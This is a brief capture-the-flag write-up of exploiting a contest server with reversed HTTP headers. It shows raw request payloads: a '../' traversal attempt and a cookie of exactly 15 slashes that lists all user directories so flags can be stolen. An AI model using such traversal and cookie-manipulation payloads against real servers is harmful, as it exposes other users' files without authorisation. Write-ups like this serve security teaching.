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Created May 29, 2019
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We noticed that server logs debug info to the stdout. First idea was path traversal, because server stores files with the names from the requests: path = './' + eikooc + '/' + path Path traversal in the path didn't work at all, but eikooc (reversed cookie) was a user directory. So we sent such payload:

TEG / PTTH\1.1
eikooc: ../

And we got log message:


TEG / PTTH\1.1

eikooc: eikooc: ../

found cookie
[PID 20] [] Fucked up cookie. CLIENT

Ok, we checked condition for this message:

if (some_function(some_ptr) == 15)
} else {
  throw_error("Fucked up cookie.");

Hmm, it looks like some_function is just strlen and some_ptr is eikooc pointer. And finally we sent such payload (with exactly 15 slashes in the eikooc):

TEG / PTTH\1.1
eikooc: ////////////////////

PTTH\0.1 2 KO
eikooc: ///////////////
eicookh: 093edf9115dc3ca072233b96e38f2752

<title>Index of data</title>
<h1>Index of data</h1>
<a href="./">(Parent Directory)</a><br>
<a href="data/MskBs9WDwWdlj1p">MskBs9WDwWdlj1p</a><br>

Got it! This request lists all usernames and now we can extract all flags the same way as jury does.


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